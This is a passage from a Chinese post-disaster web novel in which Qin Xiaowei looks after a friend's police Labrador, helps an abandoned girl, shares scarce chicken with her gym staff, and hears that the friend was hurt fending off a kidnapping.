老太太不顾男人的哀求报了警，警察的出警速度有点慢，他们等了半个多小时，警察才过来把人带走。 他被带走的时候，他女儿一直跟在警察后面哭。 小姑娘看起来只有五六岁，黑瘦黑瘦的，头上两根马尾辫扎得歪歪扭扭，身上的衣服也是又脏又旧，她哭得直打嗝，看起来非常可怜。 她爸爸干出了这样的丑事，以后这个小姑娘一个人住在楼里，怕是会被欺负…… 秦小薇看着小姑娘的背影摇了摇头，她以后的生活怕是困难喽！ 看完了热闹，秦小薇就回健身房继续锻炼了。 结束的时候，她刚好接到了陆昼的电话。 陆昼：“我明天要出差，香肠放你那寄养几天，还有母羊和小羊羔，你也一起接回去。” 秦小薇有些无语：“……陆昼，你是不是对咱俩的关系有什么误解？咱们的关系，什么时候好到可以互相寄养宠物了？” 陆昼提醒她：“你上次不还打电话给我，说欠我一份谢礼？我后面帮了你这么多次，应该已经累积了好几份谢礼了吧？” 秦小薇：“谢礼的事，难道不是你自说自话定下来的？” 虽然嘴上这么说，但她的声音还是软了下来：“你就没有别的朋友能寄养香肠吗？我看那个唐医生就挺合适的，人家不仅能给人看病，还能给动物看病，把香肠送过去，他肯定能照顾好……” 陆昼：“他家伙食不行，地方也不够大，活动不开。” 秦小薇：“你就不能让它自带口粮？” 陆昼：“老唐会偷吃。” 秦小薇想了想拉布拉多平时吃的狗饭，觉得陆昼的担忧不无道理。 它一天要吃一斤多鲜肉，外加蔬菜水果主食，确实比现在宁市某些有钱人吃得都好…… 秦小薇：“行吧行吧，我明天一早去你那接羊和狗……” 陆昼：“现在就来，我凌晨的飞机。” 秦小薇看了下时间，快到十一点了，正是她平时上床睡觉的时间，她不想出门，便推脱道：“天黑出门不安全，最近外面的不法分子太多了……” 陆昼打断了她的借口：“以你的实力，真要是碰到了，应该是他们比较危险。” 秦小薇：“……狗嘴里吐不出象牙。” 陆昼：“你说什么？” 秦小薇把听筒放到唇边，冲着电话那头的人大声道：“我说——我！马！上！过！来！” 陆昼被震得耳朵疼，他的声音有些无奈：“秦小薇，你幼不幼稚？” 秦小薇冷哼了一声，挂断了电话。 去了陆昼的小区后，她非常惊讶地发现，这次保安竟然没有让她登记，直接就放行了。 到陆昼家的时候，秦小薇还和他说了这件事：“你们小区的保安好像在偷懒，我刚刚进来的时候，他们都没让我登记……” 陆昼：“他们没偷懒，我把你的车牌号加到我名下了，以后你的车可以自由出入我们小区。” 秦小薇：“……”虽然说这样确实会方便很多，但她总觉得他的做法有点怪怪的。 她来之前，陆昼就把拉布拉多的行李收拾好了，秦小薇空间里食物充足，他也就没准备吃的，只给它准备了一些狗窝、玩具和其他的营养品。 不过就算没准备吃的，拉布拉多的“行李”加在一起也装满了两大箱。 “香肠下海游泳后，记得及时给它洗澡；这个骨头枕头，它晚上睡觉的时候要枕着，你直接放狗窝里就行了；这些东西是放在狗饭里的，每顿放多少我都贴了标签，你别弄错了……” 秦小薇看着他准备的行李挑眉：“你去几天？” 陆昼：“三五天吧，等回宁市了我就去接它。” 秦小薇忍不住吐槽他：“你这狗过得可真金贵 ，我出去玩一周，都不会准备这么多东西！” 陆昼没接话，继续开口道：“小羊羔要做好保暖，窝里要垫干草，加热灯也得打开；母羊现在是哺乳高峰期，需要加强营养，你记得调整饲料的比例……” 听到他叮嘱母羊和小羊羔的事，秦小薇的表情认真了一些。 毕竟她以后能不能一直有羊肉吃，就看它们了！ 关于母羊和小羊羔，陆昼叮嘱的注意事项更多一些，秦小薇合理怀疑，他忽然整这一出，就是为了把养羊的责任推给她…… 见他说完了，秦小薇问他：“我这几天，要送香肠去上班吗？” 陆昼报了个地址：“去不去都行，它在你空间里，会自己疯玩，活动量应该够了……” 秦小薇：“那行，我都记下了，走了！” “等等……”陆昼搬起茶几边上的一个箱子递给她，“这是谢礼！” “什么东西？”秦小薇有些好奇，当场就打开了箱子。 里面赫然是一箱崭新的射钉枪，和她仓库里那支的型号一模一样。 陆昼：“你不是说要□□吗？我让人给你收了一些。” 她之前就在同城APP上寻摸射钉枪了，但没看到有人出售，还以为这事要黄了…… 看到箱子里的东西，秦小薇因为要熬夜而不太愉快的心情瞬间明朗：“陆昼，我有没有说过，你讨好人的时候，真的很有一套。” “谢谢夸奖。”他的唇角弯了弯，“再送你一个消息，针对目前的治安问题，宁市最近准备从民间招募队伍，组织巡逻队，因为最近有很多女性受害者，她们会招募一部分女性，算是对女警的工作做一个补充，你的室友要是感兴趣，可以去报名……” 说着，他从口袋里掏出一张便笺纸递给秦小薇：“这是报名地址。” 秦小薇很感兴趣，她接过纸条看了看，他的字体飘逸洒脱，笔画舒展自由，非常好看，便笺上面除了地址，还有一个电话号码。 秦小薇：“巡逻队待遇怎么样？” 陆昼简单说了几条，巡逻队的工资只比健身房高几百块，但是会有其他的物资补贴，放在现在，算是很不错的选择了。 秦小薇估计，这个消息要是公布出去，报名的人会挤破头…… 秦小薇：“好的，我知道了。” 她牵起狗绳，就准备带拉布拉多离开：“带你去我家住几天，和你主人道个别吧！” “汪——”拉布拉多敷衍地用爪子扒拉了一下陆昼的裤脚。 它抖了抖身上的毛，就要往外走。 “小没良心的！”陆昼狠狠揉了下它的狗头。 狗子听觉灵敏，到家后，秦小薇担心它会被公寓楼上上下下的动静吵得乱叫，影响楼上楼下其他邻居休息，就把它带进了空间里。 她找了个空房间安置它的狗窝和玩具：“在这好好待着，我明天早上进来给你做早饭……” “汪——”拉布拉多之前就在空间里生活过一段时间，再次回到这里，它适应得非常快，一点都不认生。 还兴奋地刨沙子打滚，一副快要玩疯了的模样…… 见它这副模样，秦小薇放心了，洗了个手就出去了。 出去后，她打开手机，在寝室群发了条消息。 【秦小薇：宁市要组建巡逻队，现在在招人，工资比健身房高一些，现在算是临时工，但是做久了之后有转正的机会……你们要报名吗？】 担心室友们屏蔽了群消息，她还特地@了全体成员。 【范槿：仔细说说。】 秦小薇便把从陆昼那儿打听到的消息，在群里重复了一遍。 【秦小薇：……按照你们的条件，报名之后应该能选上。】 【范槿：好像还行，但我有点担心，干完这段时间，就又失业了……】 她上一份工作是她妈妈走后门弄到的，但公司也让她干倒闭了，接连失去两份工作，她快要有心理阴影了。 【秦小薇：应该能干几个月？我看城区的房子，应该没那么快建好。】 【肖琳琳：有枣没枣打一杆呗！现在能碰到一个真的招人的工作不容易……】 【范槿：行吧！薇薇，明天我请假去报名。】 【肖琳琳：那我后天请假？健身房最近挺忙的，我们两个错开吧，我怕大家忙不过来。】 【秦小薇：没事，一天而已，我顶得住，你们一起去吧！还能有个照应！】 见段霞一直没在群里出现，秦小薇又单独@了她一次。 【秦小薇：阿霞，你要不要去试试？@段霞】 要说三个室友里面，她最希望谁应聘上，那必然是段霞。 她现在的工作，虽然收入还可以，但那赚的真的是辛苦钱，很多男的都坚持不下来，一天十几个小时的体力劳动，秦小薇都担心她的身体会累垮…… 【范槿：阿霞估计睡了，明天早上再问问她吧！】 在生物钟的控制下，她每天早上到了六点半必醒，虽然第二天早上要给拉布拉多煮狗饭，她却没定更早的闹钟——健身房八点半才正式营业，中间的两个小时足够她煮好几顿狗饭了。 她进空间的时候，拉布拉多正在呼呼大睡。 锅里的肉煮上之后，它就醒了，很快顺着味道找了过来，拉布拉多咬着自己的狗盆，蹲在地上，甩着尾巴等秦小薇的投喂。 秦小薇：“还要等一会，你先去玩吧！” 拉布拉多把嘴里叼着的狗盆放了下来，却没离开。 秦小薇给自己热了两笼小笼包，就着热牛奶，吃完了一顿早饭。 因为锅里的肉没煮熟，她吃早饭的时候，拉布拉多就只能在边上看着，嘴里一直在往下滴哈喇子…… 等她吃完早饭，锅里的肉终于熟了，秦小薇过了两遍凉水，才把它们剪成小块扔进狗盆里，之后，她还不忘往狗盆里加上陆昼给的那些营养品。 秦小薇自言自语：“这么多药混在狗饭里，真的能好吃？” 拉布拉多没有回应她，它埋头大口干饭，用行动回应了她的问题。 秦小薇摸了下它身上的毛：“ 你自己在空间里玩，我晚上再进来找你！” 她出空间以后，段霞终于在群里出现了。 【段霞：我上午请个假，过去报名。】 【范槿：阿霞，你终于出现了！你这段时间是隐身了吗？怎么都不在群里说话？】 【段霞：最近太忙了，白天没时间看手机，晚上回来，躺到床上就只想昏迷……】 【肖琳琳：这么惨吗？】 和室友们聊了几句后，秦小薇登录Q大的论坛，发了一则招聘启事，打算在体院招几个兼职，这样，她自己也能轻松一点。 可能是最近失业的人太多了，她的帖子发出去没多久，就被校友们的回复顶成了热门帖，还有不少其他专业的校友，在帖子里求职。 秦小薇：一个临时工都有这么多人抢着干，看来现在找工作真的很困难！ 她在帖子里挑了几个人回复了面试的时间，又留了自己的电话号码，就收起手机，准备开门营业。 店里少了两个人，比之前更忙了，白天还一直有电话打进来，询问她兼职招聘的事，等到了晚上闭店之后，她又得忙着面试……秦小薇这一天，可以说是过得非常“充实”了。 直到把兼职的人员定下来，秦小薇才有空关心三个室友白天的报名情况。 【秦小薇：你们白天怎么样？报上名了吗？】 【段霞：报好名了，初试通过了，一周后复试。】 【范槿：今天好多人报名啊！感觉大家都好厉害，我好担心自己过不了复试……】 【肖琳琳：我也……我还看到了好几个师兄师姐，他们个个都拿过全国冠军。】 看着群里的消息，秦小薇忍不住挑眉，她知道巡逻队肯定会有很多人报名，但没想到会这么卷。 但想想今天白天接到的陌生电话的数量，秦小薇又觉得很正常。 地震之前，就业环境就已经够差的了，地震过后，失业的人又多了一批，但宁市的总人口却没减少多少，为了生存，大家自然只能内卷…… 【秦小薇：要对自己有信心，你们肯定能通过的！】 【范槿：猫猫奋斗.gif】 【肖琳琳：冲冲冲！】 第二天，范槿和肖琳琳都回来上班了，因为健身房多了好几个兼职人员，和之前相比，秦小薇空闲了很多。 至少她不用再站一整天了…… 秦小薇上网搜了些和枪械相关的视频，她戴着耳机坐在角落里，打算研究一下，射钉枪该怎么改造。 网上有新闻提到有人改造射钉枪被抓，但视频里只展示了射钉枪的威力，关于怎么改造，又用了什么工具，那是半点都没提……国外倒是有网友分享了教程，但秦小薇顺着链接点进去，就发现视频被和谐了。 在遇到陆昼之前，秦小薇在这方面完全就是个门外汉，就算这几个月多接触了一些枪械，她了解的也是一些基本知识，看了一上午的视频，脑子里塞了一堆东西，但她还是没什么头绪。 唉，慢慢来吧！ 半天没有动弹，她的身体有些僵硬，秦小薇准备出去活动一下。 她想了想，打算送拉布拉多出去上班。 说实话，她对拉布拉多的工作内容还挺好奇的……毕竟它平时看起来就是一只大馋狗，秦小薇完全想象不到它正经上班的模样。 秦小薇牵着狗上了车，她在导航里输入目的地，启动了车子。 但车子开了没多久，她就被迫踩下刹车，把车靠边停下——外面又起雾了。 雾气来得太快，前方的道路笼罩在雾气中，就算她开了大灯，也看不清两米外的情况。 秦小薇赶紧拿出口罩戴上，她看了眼后车座的拉布拉多，犹豫了一下，把狗收进了空间里。 外面的雾气越来越浓，之前还能隐约看见一点路况，没过多久，她就什么都看不清了，视线里只剩下一片白。 她孤身一人置身于大雾之中，空气安静到诡异。 秦小薇瞬间有种身处恐怖片之中的感觉…… 第83章 第83章红烧鸡（双更合一）…… 外面的雾太大了,什么都看不清，秦小薇怕这个时候开车会撞到什么人或者东西，根本不敢启动车子,只能待在车里安静等雾气散去。 前几次起雾的时候,她不是在家里,就是在健身房，附近有不少人,周围的环境也是绝对安全的,有时候她甚至都没发现外面起雾了……玩会手机或者干会活，时间就过去了。 但现在,独身一人待在这种一片白茫茫的环境中，时间忽然变得难捱起来。 秦小薇拿出手机，打了会儿游戏,但依旧无法转移注意力,她想了想，还是把狗放了出来，不过这回,是让它待在副驾驶上陪自己。 秦小薇：“香肠，你陪我待会儿,现在外面太瘆人了……陆昼好像没给你准备宠物专用的防毒面罩,你这么待着应该没事吧？我把空调打开吧！” 她一手玩着拉布拉多柔软的大耳朵，一手看手机，可能是因为身边多了一个活物,秦小薇觉得没那么害怕了。 似乎是感受到了她的情绪，拉布拉多蹲坐在副驾驶上，一改往常大馋狗的模样，机警地盯着窗外,看起来非常可靠。 她查了一下天气预报，实时天气预报显示现在还是阴天，不知道是APP后台改了程序，刻意向民众隐瞒大雾的事，还是现有的科技无法预测这场大雾的出现和消失…… 一人一狗在车上坐了一个多小时，面前的大雾才渐渐散去，大雾散去之后，没有留下任何痕迹，仿佛之前的一切都是秦小薇的错觉。 秦小薇纠结了一下，冲着拉布拉多伸出两只手，开口征求它的意见：“香肠，你还想去上班吗？左手是去，右手是不去……” 拉布拉多伸出爪子，搭在她的左手上。 秦小薇：“行吧，那就送你过去！” 她启动了车子，朝着目的地开去，但是没开多久，车子就又停了下来。 秦小薇在路边看到了一起车祸现场，出车祸的是一辆电动车和一辆自行车，车主分别是两位跑腿小哥，其中一人昏倒在地上，还有一人捂着腿倒在地上呻吟，似乎根本起不来。 秦小薇并没有下车，她拿出手机，开始拨打急救电话…… 就连地震台风的时候，宁市的医疗点都没有停止接收病人，台风过后，为了维持社会的平稳运行，像是银行、医院、警局这样的工作单位，几乎是第二天就全员到岗了。 也正是因为如此，现在很多人都羡慕相关的从业者——毕竟他们不用担心会失业，背靠官方，偶尔还会有一些普通公司没有的福利，可以说得上是“铁饭碗”了。 电话接通之后，秦小薇根据医务人员的要求下车确认了一下两人的情况，担心会对他们造成二次伤害，她并没有随意挪动他们。 挂了电话，等救护车来的时候，秦小薇还帮那个还清醒的跑腿小哥打了个电话，联系了他的家人。 跑腿小哥的手机在出车祸的时候摔坏了，现在开不了机了，秦小薇把手机卡拔下来，插到自己的手机上，才联系上他老婆。 救护车把人接走之后，秦小薇就继续出发了。 他们的目的地是宁市的一处公安分局，拉布拉多对这边非常熟悉，到了地方之后，秦小薇还没说话，它就主动“汪——”了一声和门卫打招呼。 秦小薇指了指地上的拉布拉多：“大爷，我送它过来上班，该送他去哪儿？” 老大爷关掉收音机，推了推鼻梁上的眼镜：“是香肠啊，你今天怎么下午才来？翘班可不是什么好习惯……小姑娘，之前没见过你呀！那个小伙子呢？” 拉布拉多又“汪”了几声，似乎是在反驳说自己没有翘班。 秦小薇：“它主人出差了，香肠暂时放在我这里寄养。” 老大爷：“你沿着这条路进去， 一直往前走，然后右拐，就能看到狗舍，你把它交给里面的女警就行了，之后他们要是出任务，会带上它的。” 秦小薇道了句谢，就牵着狗进去了。 警察局大半的建筑都塌了，不过这处警察局的院子很大，院子里还停着不少警车，就算房子塌了，搭上几套集装箱活动房，就不会影响里面的警察办公。 犬舍里的警犬比她想象中少很多，就只有三只，因为暂时不用出外勤，三只狗都在犬舍里自己玩。 三只警犬都是德牧，看起来威风凛凛的。 秦小薇把狗绳交给女警后，女警就放拉布拉多进狗舍和它们一起玩了。 秦小薇有些失望，还以为能看到香肠工作的样子呢！ 这家伙想过来工作，该不会是因为这边有伴陪它一起玩吧？ 最近警察局的人比较忙，连带着警犬的上下班时间也变得不固定起来，秦小薇和负责照顾它们的女警聊了一会儿，交换了联系方式，女警说拉布拉多下班的时候会通知她过来接狗。 她又撸了会儿看起来十分热情的德牧，才恋恋不舍地离开。 回公寓楼的时候，秦小薇发现健身房门口站着一个瘦巴巴、脏兮兮的小女孩，赫然就是之前那个小偷的女儿。 她站在门口，眼巴巴地看着健身房进进出出的客人。 秦小薇走进健身房，她问前台：“外面那个小女孩是怎么回事？怎么一直站在门口？” 前台：“她好像在门口讨饭，中午吃饭的时候，周教练看她可怜，就给了她小半块能量饼干，她就不走了，一直守在门口……店长，要赶她走吗？” 秦小薇转头看了小女孩一眼，因为太瘦了，她那双黑葡萄似的眼珠被衬得格外的大，眼里全是惊惶和小心翼翼。 秦小薇摇了摇头：“算了，让她待着吧，等天黑了，她应该就自己回去了……” 因为中午经历的那场大雾，秦小薇现在是彻底歇了出门放风的心思。 还是老老实实待在公寓楼里吧，至少没什么危险…… 七点多的时候，她接到了一个陌生的电话，说拉布拉多下班了，让秦小薇过去接它。 香肠并不在警察局，就在公寓楼附近执勤，她骑自行车几分钟就能到。 她到地方的时候，就看到三个警察一人牵着一只狗站在马路边上，三条狗都戴着墨镜和头盔，人和狗都穿着制服，光是站在那里，就让人觉得赏心悦目。 看到秦小薇之后，拉布拉多有些躁动，尾巴甩动的频率一下子变快了不少，但它却没跑过来，也没叫，依旧紧贴着牵着它的警察站着。 秦小薇：有点帅，果然制服是男人……不是，是狗狗最好的医美。 她骑着车停到三人面前：“你们好，我来接香肠下班，刚刚有人给我打了电话，让我过来接人。” 牵着香肠的那位男警察低头看了一眼拉布拉多：“香肠，是她吗？” 香肠伸了下爪子，“汪”了一声，朝着秦小薇的方向走了两步。 那位男警察也没核实秦小薇的身份，见此，直接把狗绳递了过来。 秦小薇把狗绳挂在自行车的龙头上，她接过狗绳后，拉布拉多就像是解开了封印似的，开始绕着自行车的前轮来回转圈，还疯狂用尾巴抽她的小腿。 秦小薇：它这幅小学生下课后解除封印的样子是怎么回事？就不能再装一装吗？ 看到它身上穿着的“装备”，秦小薇问三个警察：“它身上的装备，要脱下来让你们带回去吗？” 警察摇了摇头：“不用，这本来就是它主人自己花钱给它配的，有好几套，只是暂时放在我们分局，供它平时换。” 秦小薇：“……”果然是陆昼的行事风格！ 秦小薇又问了几句香肠的工作问题，才骑着自行车离开，她的骑车速度并不快，香肠也配合着她的速度，一直跑在车子的左前方。 忽然，它停了下来，朝着某个方向叫了一声，秦小薇单脚点地，也跟着停了下来：“香肠，怎么了？” 秦小薇顺着它的视线看过去，看到了远处一列列整齐排列的安全屋，可能是因为附近住了不少人，就算现在天已经黑了，附近依旧有不少男男女女在外面活动。 她四处看了看，没发现什么异常。 秦小薇：“香肠？” “汪——”拉布拉多又盯着某个方向叫了一声，它的尾巴耷拉下来，在原地停了一分多钟，才继续往前走。 好像忽然就不高兴了…… 秦小薇有些摸不着头脑，但还是继续往前骑。 到家后，她把忽然变得无精打采的香肠送进了空间里，她也不知道它为什么忽然就不高兴了，为了哄它开心，今天吃完饭之后，秦小薇还给它喂了几块苹果加餐…… 狗子的心事来得快，去得也快，吃完甜甜脆脆的苹果后，它又跑到沙滩上撒欢去了。 吃完晚饭，秦小薇就出了空间。 睡前，她开门朝外面看了看，下午那个小女孩依旧守在健身房门口，她坐在地上，蜷缩成一团，头像是小鸡啄米似的，一点一点往下点着。 秦小薇看得直皱眉，这小女孩不回去睡觉吗？ 她想了想，打开门走了出去。 秦小薇：“小妹妹，已经很晚了，你回去睡吧，在这里睡觉会冻感冒的……” 小女孩被她的声音惊醒，她瑟缩了一下，没有动弹。 秦小薇又重复了一遍，她才扁了扁嘴，一副快要哭了的模样：“……他们不准我回去。” 秦小薇瞬间明白，小女孩嘴里的“他们”应该是和她同住一屋的人。 秦小薇：“你和你爸爸的行李呢？” 小女孩指了指头顶的天花板：“在家里。” 秦小薇皱眉，她爸爸偷东西，他们把她爸爸送去劳改也算是他活该，但一群加在一起几百岁的成年人，霸占一个五六岁小女孩的行李，还把人赶出来，是不是太过分了？ 这些人的年纪都活到狗肚子里去了吗？ 秦小薇：“你等等……” 她折回屋里，找了一件旧棉袄和一个防潮垫出来，她的衣服很大，完全可以给她当被子盖。 秦小薇把防潮垫折了三下，铺在地上，又把棉衣抖开，裹在她身上：“穿上睡觉，会暖和一些。” 小女孩把头埋在棉衣里，小声地说了句“谢谢姐姐”，声音细细弱弱的，像只小猫似的。 送完了东西，秦小薇就回家了。 唉，明天打社区的电话问问，看看社区那边能不能联系到小女孩的亲戚吧，睡在外面也不是个事…… 秦小薇不能保证自己能解决她的问题，就没带她回家，给她希望，以免给了她希望之后，又让她失望…… 第二天早上，秦小薇送拉布拉多去上班的时候，见小女孩还在外面，就顺手给了她一个红糖馒头：“拿去吃吧！” 看到馒头后，小女孩的眼睛都快冒绿光了，她一点都没犹豫，接过馒头就大口大口吃了起来。 秦小薇：一点警惕心都没有，陌生人给的东西，一点没犹豫就接过去吃了，像她这样的，很容易被拐子拐走的！ 拉布拉多穿着昨天那套装备，它似乎完全忘记了昨天的不开心，出门的时候，狗脸上一直带着笑容，秦小薇顿时有种送自家小朋友去上学的既视感…… 送完拉布拉多之后，秦小薇就打了社区的电话，说小女孩的事。 电话打过去之后，她才知道，原来从昨天上午开始，他们公寓楼就持续有人打电话过去，说这个小女孩的事，要求社区解决小女孩的住宿和温饱问题…… 工作人员也表示，他们会尽快联系小女孩的妈妈，让她妈妈把她接过去抚养。 听到工作人员的回复，秦小薇替小女孩松了口气，有人管就好！ 没想到楼里的热心群众还挺多的…… 秦小薇没再管门口的小女孩，回健身房后，见健身房的活都有人干，她就自己找地方蹲着看视频了。 九点多的时候，她收到了陆昼的短信。 【陆昼：香肠这两天怎么样？】 【秦小薇：吃好喝好，我昨天还送它去上班了……】 【秦小薇：就是昨天回来的时候，不知道看到了什么，突然不太开心，我给它多吃了半个苹果才哄好它。】 【陆昼：是在朝霞路那边吗？】 【秦小薇：你知道？】 【陆昼：看到它之前的主人了。】 秦小薇有些惊讶，裴欣竟然还留在宁市？ 【秦小薇：你知道它原来的主人就住在附近，还把它送到我这里来，不怕香肠被拐走吗？】 【陆昼：我相信它是一只聪明的狗，分得清顿顿饱还是顿顿忍饥挨饿。】 【秦小薇：……】 【秦小薇：它那身装备实在是太帅了，你平时怎么不给它穿？】 【陆昼：你在家里会戴墨镜和防弹头盔？】 【秦小薇：……】 社区的工作人员效率还可以，当天下午，小 女孩就被她妈妈接走了，走之前，她妈妈还特地来健身房道谢，感谢她们帮忙照看小女孩。 和她妈妈聊了几句，秦小薇才知道，原来小女孩一直待在健身房的门口，是因为楼上有人和她说，健身房的姐姐都很厉害，坏人都不敢靠近这里，待在这里不用害怕会有人贩子…… 秦小薇：忽然有些好奇，她们健身房在公寓楼里到底是个什么口碑？ 算着员工们的食材应该都吃完了，秦小薇晚上接完拉布拉多后，又带了几箱蔬菜和鸡蛋回来。 分完了肉菜之后，肖琳琳问她：“薇薇，咱们老板能弄到肉吗？我好想开荤吃肉啊！” 秦小薇回忆了一下这两天市场上能买到的东西，答道：“应该能吧，我看移动物资车那现在都有新鲜的鸡肉卖了，我晚点发消息问问老板……” 牲畜棚里养着一批三黄鸡，三黄鸡属于肉鸡，一两个月就能出栏，就算现在农场里鸡的数量并不多，吃掉几只，也不会影响它们以后的繁殖。 况且，那些牲畜养着，就是让人吃的……要是光养不吃，养它们就没有意义了。 她们健身房的员工不算少，还个个都是“大胃王”，平时上班的话，一天一包能量饼干都不够吃，还得去同城APP上另外收能量饼干…… 一个教练立刻开口道：“太好了，终于可以开荤了！店长，这事你上点心，千万别让我们失望啊！” 秦小薇：“知道了！我和你们一样，也惦记着那口肉呢！” 第二天，秦小薇接香肠下班的时候，带回来了两只杀好的三黄鸡。 看到鸡肉之后，健身房的员工比过年还开心，还没下班，就开始商量鸡肉该怎么吃。 她们甚至差点因为是喝鸡汤还是吃红烧鸡打起来。 秦小薇：“……” 最后，在秦小薇的协调下，她们决定一只炖汤，一只红烧，为了多吃几顿，她们十几个人，甚至打算把两只鸡分成四顿吃。 秦小薇：“……”照着她们这种吃法，一个人一顿饭能分到三块肉吗？ 虽然觉得这样吃，有点太过节俭了，秦小薇却没干涉她们。 毕竟，现在想吃肉真的挺不容易的，移动物资车那边供应量有限，就算排一整夜的队，也不一定能买到肉，员工们这样干其实挺正常的…… 为了吃肉，范槿今天下班后都没立刻回家，反而留了下来，和大家一起做饭。 她们晚上吃的是红烧鸡，为了多尝点肉味，众人在锅里放了很多蔬菜，煮了满满一大锅……红烧鸡出锅后，每个人都分到了一碗几乎全是蔬菜的红烧鸡。 她们吃肉的时候，外面不断有人过来敲门，有人问她们鸡肉是在哪买的，能不能帮忙“代购”；还有人直接问，能不能花钱买一碗鸡肉尝尝味……外面的走廊里多了不少闻着味出来的住户。 她们自己都不够吃，面对其他人想买肉的要求自然是拒绝。 和秦小薇平时的伙食相比，这碗红烧鸡，可以说是有点“寡淡”了——蔬菜放得太多，肉味都被冲淡了。 但周围每个人都露出享受的表情，像是在吃什么珍馐美味，连骨头都要嗦了又嗦，嚼碎了尝到里面的骨髓，才恋恋不舍地吐掉……被她们影响，秦小薇竟也觉得手里的红烧鸡变得美味起来，她连着汤汁都一起吃完了。 以后还是给大家多弄点吃的吧，看把她们给馋的！ 收拾完碗筷之后，秦小薇主动问范槿：“饭饭，现在走夜路不安全，要我开车送你回去吗？” 因为范槿住得远，秦小薇担心她走夜路会出事，平时都会让她提前回家，还找了个借口，说是让她早点回去剪视频，宣传健身房……健身房的其他员工也都知道范槿的情况，没对她“早退”的行为提出异议。 范槿：“不用，有人过来接我。” 秦小薇：“是叔叔吗？你怎么没叫他上来一起吃饭？” 范槿摇头：“不是，是我之前那个相亲对象。” 秦小薇有些惊讶：“你不是说你们没相成吗？” 范槿点头：“我是没看中，但是那男的对我挺满意的，我妈也看中了他，说人家条件好，找对象要考虑现实因素，让我们先处处看……” 秦小薇：“所以……你们现在是在交往？” 范槿有些纠结地挠了挠头：“没有，算是……他在追我？我还没想好，要不要和他试试看。” 秦小薇一时不知道该说些什么，她还记得，以前范槿是最讨厌相亲的，为了躲避她爸妈的催婚，暴雨的时候，明明家就在本市，都没搬回去。 但现在，她竟然也开始向现实妥协了？ 不过，她自己好像也是这样，之前面对陆昼的威胁，最后也只能选择妥协……成年人嘛，权衡利弊后作出选择很正常！ 秦小薇：“饭饭，他条件要是真还行，又对你不错，其实也可以试试……先谈恋爱，不合适还可以分手，你自己没吃亏就行。” 范槿继续挠头：“唉，我再想想吧！我感觉他真不是我喜欢的类型，平时在网上聊天，我们都是尬聊，他说的话题我也听不懂……算了，不说这些不开心的事了，我先下去了，晚点我直接把视频上传到咱们的账号上！” 秦小薇：“嗯。” 第84章 第84章复试（双更合一）…… 楼里的房子太密集了,谁在家里煮了点什么，隔壁和上下楼的邻居很快就能闻到味道。 可能是因为她们昨天晚上吃红烧鸡的事传了出去，第二天早上,秦小薇在健身房摸鱼的时候,6004的大妈又找上门了。 大妈：“我儿媳妇坐月子的时候没养好身体,现在身体虚弱得很，一直没多少奶水,小孙女的口粮也不够吃……姑娘,我听说你们老板现在能弄到鸡了，你能不能帮忙弄两只鸡,给我儿媳妇补补，我给钱！” 秦小薇露出为难的表情：“大妈，鸡太难弄了,我们店里七八个人,也才能分一只，吃到嘴里也就几口肉……您这一张口就是两只，我也很难办啊！” 大妈笑得讨好：“要不弄一只,或者半只也行！姑娘，你帮帮忙,生完孩子这段时间太关键了,得好好补补！要不然后半辈子是要遭罪的……” 秦小薇：“大妈，要不您和您儿子晚上去物资车那排队试试？我看物资车那最近几天都有新鲜的肉蛋售卖……” 大妈叹了口气：“去了，但那边限购,一个人只能买二两肉，我儿子排一个晚上的队，鼻涕都要冻出来了，买回来的肉也只够我儿媳妇吃一顿……” 秦小薇：“……行吧,大妈，我帮你问问，但您也别抱太大的希望，鸡肉我们健身房的员工自己都不够吃。” 又敷衍了大妈几句，她才把人打发走。 晚上，大妈过来找她的时候，秦小薇只卖了她六个鸡蛋，大妈有些失望：“怎么没有鸡？我看你们中午又吃鸡了？” 秦小薇：“那是大家一起的，大妈，我虽然很想帮你，但也不能把别人的东西拿过来送给你，她们会有意见的……” 大妈动了动嘴唇，想要说什么，最后却没说出来，只冲着她谢了又谢。 陆昼之前和她说，三五天就回宁市，但眼看着范槿她们复试的时间就要到了，他却还没回来，拉布拉多也天天在她的空间里混吃混喝…… 天天送狗子去上班社交，秦小薇有些烦了，便直接给陆昼打了个电话。 “喂。”陆昼很快就接了电话，只是声音有些沙哑，好像还没睡醒。 秦小薇：“陆昼，你回宁市了吗？” 陆昼：“回了。” 秦小薇：“……你是不是忘了自己还有条狗寄养在我这里？” 陆昼：“出了点小状况……香肠还得放你那寄养一段时间。” 一段时间？ 秦小薇瞬间警惕：“陆昼，你不会是想弃养香肠吧？” 陆昼的声音有些无奈：“你觉得可能吗？我受伤了，现在在医院养伤，暂时 没法照顾它……等出院了再去接它回来。” 秦小薇：“你不是去出差了吗？怎么会受伤？难道是回来的路上飞机失事了？” 陆昼：“你就不能盼着我点好？有间谍打探到了我的消息，想绑架我出国，交手的时候被捅了一刀。” 他的声音虽然虚弱，但语气却十分平静，似乎这次遇到的危险对他来说并不算什么。 秦小薇像是在听天书：“……都末世了，还有间谍呢？” 陆昼：“有啊，还不少！因为最近天灾频发，国内有些乱，他们也变得愈发猖狂……” 秦小薇：“不是……国外有些国家不是都快灭国了吗？他们怎么还这么忠心？” 陆昼的声音里带了一丝嘲讽：“可能就是因为这样，他们才这么着急，急着把我带回去当民族英雄……” 担心她不相信，挂断电话之后，陆昼还给秦小薇发了张照片。 照片里，他穿着浅蓝色的病号服半靠在病床上，衣服的下摆掀起，露出裹着绷带的腹部，照片里还有两块棱角分明的腹肌出镜，他脸色苍白，眉眼间少了几分锋利。 那张脸实在是太有欺骗性，竟然让秦小薇有种病弱小狗的既视感…… 她晃了晃脑袋，甩掉脑子里离谱的想法，陆昼这家伙，心眼子比蜂窝煤还多，就算是狗，也是条会咬人的大狼狗。 见陆昼确实躺在医院养伤，秦小薇犹豫了一下，还是决定再多养拉布拉多几天。 上午，她统计了一下最近这段时间的收入，就缩到角落里摸鱼去了。 只要社会秩序没有彻底崩塌，国家信用还在，就算现在物资供应有缺口，秦小薇赚的钱也不会变成废纸，等之后情况恢复了，她手上的钱可以像暴雨之前一样拿来消费，所以她赚钱的动力还挺足的。 最近健身房的生意很不错，有不少人开月卡、买课，这段时间的收入够她给员工发好几个月的工资了。 考虑到女生每个月都有几天特殊时期，她们健身房的月卡开一次可以用三十七天，这种特殊的月卡天数，为健身房博得了不少好感，有不少顾客写团购评价的时候，还会专门提到这一点…… 连着“钻研”了好几天，再加上手上还有一把改装过的射钉枪当模板，秦小薇对于□□已经有想法了，等晚上有时间，就能进空间里动手尝试了。 她缩在角落里打了会儿游戏，健身房的散打教练就找了过来：“薇薇，我来月经了，你那里还有卫生巾吗？” 